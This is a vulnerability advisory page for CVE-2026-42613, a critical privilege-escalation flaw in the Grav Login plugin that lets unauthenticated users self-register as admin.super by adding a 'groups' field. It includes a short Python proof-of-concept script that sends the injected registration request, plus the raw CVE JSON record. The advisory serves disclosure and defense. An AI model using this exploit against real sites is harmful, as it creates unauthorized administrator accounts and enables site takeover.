Security Vulnerability Report
中文
CVE-2026-42613 CVSS 9.4 CRITICAL

CVE-2026-42613

Published: 2026-05-11 16:17:34
Last Modified: 2026-05-11 16:17:34

Description

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Grav < 2.0.0-beta.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target registration URL target_url = "http://target.com/user_register" # Malicious payload injecting admin privileges payload_data = { "username": "hacker", "password": "P@ssw0rd123", "email": "[email protected]", # Injecting the admin.super group to escalate privileges "groups": ["admin.super"] } try: # Sending registration request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Exploit successful! User created with admin privileges.") print("[+] Attempting to login...") # Verify login logic would go here else: print("[-] Exploit failed or registration disabled.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42613", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:34.497", "lastModified": "2026-05-11T16:17:34.497", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj", "source": "[email protected]"}]}}